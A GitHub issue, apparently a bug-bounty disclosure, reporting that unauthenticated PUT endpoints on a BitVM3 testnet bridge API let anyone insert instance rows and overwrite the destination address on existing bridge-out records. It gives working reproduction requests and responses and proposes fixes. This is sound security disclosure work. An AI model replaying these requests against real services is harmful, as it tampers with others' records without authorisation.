Skip to content

[Security] Unauthenticated PUTs persist and overwrite BitVM3 instance state #428

Description

@asbestos22

Summary

Unauthenticated PUTs on the official BitVM3 testnet state-machine API persist attacker-chosen instance rows and overwrite to_addr on existing Initialize bridge-out records.

This is Bridge State Machine (API) (in-scope). Severity: Medium (integrity / availability). Not unauthorized mint, BTC theft, or unauthorized withdraw — those were tested and not achieved.

Affected component

  • Host: https://bitvm3-api-testnet4.goat.network
  • PUT /v1/instances/bridge-in-request-tagnode/src/rpc_service/handler/bitvm2_handler.rs (bridge_in_request_tag)
  • PUT /v1/instances/bridge-out-init-tag — same file (bridge_out_init_tag)
  • Router: node/src/rpc_service/mod.rs (no auth middleware on these routes)
  • Auth helper verify_request_auth is only called in pegout and send_challenge

Mechanism

X-Auth-Timestamp + Schnorr X-Auth-Signature (BITVM_SECRET) gate money RPCs. Tag/init PUTs skip that check and call upsert_instance (INSERT OR REPLACE).

Bridge-in: caller-chosen UUID, status UserIniting. Same UUID + different from_addr/to_addrBRIDGE_IN_INSTANCE_ID_CONFLICT.

Bridge-out: if an instance already exists for escrow_hash in Initialize, the handler overwrites to_addr from the unauthenticated body. No ownership check.

Steps to reproduce (2026-08-19, no auth headers)

1. Persist a fake bridge-in

PUT https://bitvm3-api-testnet4.goat.network/v1/instances/bridge-in-request-tag
Content-Type: application/json

{
  "instance_id": "a1b2c3d4-e5f6-4789-a012-3456789abcde",
  "contract_address": "0x60a5b099eE011018DD064F9eBD50d381C37b5e8b",
  "from_addr": "tb1qw508d6qejxtdg4y5r3zarvary0c5xw7kxpjzsx",
  "to_addr": "0x00000000000000000000000000000000000000aa",
  "bridge_request_tx_hash": "0x1111111111111111111111111111111111111111111111111111111111111111"
}
  • Response: 200 {}
  • GET /v1/instances/a1b2c3d4-e5f6-4789-a012-3456789abcde → persisted UserIniting, to_addr 0x…00AA
  • Same UUID + different to_addr500 {"error":"BRIDGE_IN_INSTANCE_ID_CONFLICT",...}
  • 5 rapid unique-UUID PUTs → 5× 200. GET /v1/instances?is_bridge_in=true&offset=0&limit=1 total 6 → 12. No rate limit.

2. Overwrite an existing bridge-out dest

Existing row 424f4944-f604-9a71-1c10-020f1c1d6ea4, escrow 0xaaa…aaa, status Initialize.

Before: to_addr = tb1qrp33g0q5c5txsp9arysrx4k6zdkfs4nce4xj0gdcccefvpysxf3q0sl5k7

PUT https://bitvm3-api-testnet4.goat.network/v1/instances/bridge-out-init-tag
Content-Type: application/json

{
  "contract_address": "0x3FbbA0eb82cf1247cbf92B3D51641226310F0Ca5",
  "from_addr": "0x0000000000000000000000000000000000000001",
  "to_addr": "tb1qw508d6qejxtdg4y5r3zarvary0c5xw7kxpjzsx",
  "escrow_hash": "0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}
  • Response: 200 {}
  • GET same instance → to_addr rewritten to tb1qw508…
  • Original to_addr restored immediately after the check

Control (auth works on siblings)

POST /v1/graphs/pegout {}
POST /v1/graphs/123e4567-e89b-12d3-a456-426614174000/send-challenge {}

Both: 401 {"error":"AUTH_ERROR","message":"missing X-Auth-Timestamp header"}

Impact (proven vs not)

Proven

  • Anyone can insert official-node instance rows (indexer / UI poison)
  • UUID squat returns 500 to a later real client using that id
  • Unauthenticated overwrite of displayed BTC dest on a live Initialize bridge-out

Not proven — do not treat as fund loss

  • Does not mint pegBTC (postPeginData is onlyCommittee + merkle + committee sigs)
  • GET .../unsigned-pegin-txn on the planted row returned {pegin_prepare:null,pegin_cancel_psbt:null} (status still UserIniting)
  • Later on-chain BridgeInRequest uses INSERT OR REPLACE, so a squat does not permanently block a real pegin of the same UUID
  • Bridge-out BTC payout is taken from on-chain claim_data.output_script (handle_swap_claim_events), not from this overwritten to_addr

Wrong-contract error bodies also leak the expected gateway / swap addresses (expect:0x60a5… / expect:0x3Fbb…).

Fix

  1. Call verify_request_auth (or a user-bound signature) on both PUTs.
  2. Do not let an unauthenticated body overwrite to_addr on an existing escrow row.
  3. Rate-limit unauthenticated writes.
  4. Stop reflecting expected contract addresses in error messages.

Scope / duplicate

  • Program: GOAT BitVM3 Bug Bounty (state-machine API is an explicit Tally component).
  • Not Gateway.initWithdraw / Pashov F-3 / bitvm-L2-contracts#20.
  • No matching open issue found on bitvm-node.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions